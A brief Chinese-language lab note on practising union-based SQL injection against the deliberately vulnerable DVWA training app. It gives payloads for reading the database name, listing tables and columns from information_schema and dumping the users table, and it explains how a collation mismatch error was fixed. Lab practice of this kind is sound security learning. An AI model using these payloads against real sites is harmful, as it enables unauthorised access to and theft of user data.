DVWA中SQL注入的简单练习

1、获取数据库中的表   0' union select 1,database() #

 2、获取数据库中的表

在使用 “ 0' union select 1, table_name from information_schema.tables where table_schema='dvwa'# ”时报出union排序混乱

下载MySQL管理工具

这时打开数据库里的dvwa里表名users,修改first_name,last_name的排序规则，因为information_shema里table中table_name的排序规则是utf8_general_ci,要保持一致

 

修改完后再次尝试，显示成功

 3、获取数据库中指定表的字段“0' union select 1, column_name from information_schema.columns where table_name='users'# ”

也可以使用group_concat把结果组合成一条数据" 0' union select 1,group_concat(column_name)from information_schema.columns where table_name='users'# "

4、获取对应字段所有信息" 0' union select 1,concat_ws(',',user_id,first_name,last_name) from users# " 如果还需要查看其它字段，需要改其他字段的排序规则，否则报错